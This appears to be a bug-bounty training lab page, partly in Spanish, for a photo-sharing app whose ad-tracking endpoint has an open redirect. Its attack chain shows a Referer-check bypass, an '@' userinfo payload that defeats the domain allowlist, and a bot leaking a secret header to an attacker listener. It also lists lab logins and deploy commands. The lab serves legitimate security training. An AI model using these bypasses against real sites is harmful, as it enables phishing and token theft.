Open Redirect con Referer Check + Domain Bypass (@)
By @gorkaRed social de fotos con endpoint de tracking publicitario vulnerable a open redirect. El endpoint valida Referer (bypass: publicar link en la plataforma) y dominio de destino (bypass: RFC 3986 @ syntax). Un bot clicka links de comentarios con un header secreto que contiene la flag
$140
That's what a company paid for this bug on YesWeHack. Here it is, rebuilt for you to find it yourself.
Learn to find this bug
This bug paid $140 on YesWeHack.
Create your account and practice real bugs that got paid. Download the environment, find it and learn the exact technique — your path to your first bounty.
hunters training
labs from real hacks
completions
paid out for these bugs
Access to all labs · no commitment · cancel anytime
Hackers who solved it· 8
Objectives
Achievement you'll earn
Solve this lab to unlock this shareable achievement
Community writeups
The checklist I run on every new target
47 checks ordered by cost: first what can get you in trouble, then the cheap stuff, and finally the expensive stuff — which is where the big bounties are. I'll send it to your inbox right now.
Unsubscribe in one click, from any email.
Cadena de ataque
1. Explorar la app → descubrir posts patrocinados con tracking URLs
2. Analizar: /ads/tr?ci=X&e=sk&tu=https://cdn.snapvibe.com/...
3. Probar sin Referer → 401
4. Probar con Referer válido → 302 (funciona)
5. Probar tu=https://evil.com → 400 (dominio no whitelisted)
6. Bypass dominio: tu=http://cdn.snapvibe.com@localhost:9999 → 302!
7. Publicar link completo como comentario en una foto
8. Bot clicka → sigue redirect → llega a attacker con X-Secret-Token
9. Flag: ......
Credenciales
| Usuario | Contraseña | Rol |
|---|---|---|
| sarah_photo | password123 | user |
| mike_design | password123 | user |
| elena_travel | password123 | user |
Despliegue
./autodeploy.sh
# o: docker compose up --build
# Acceder: http://localhost:1000
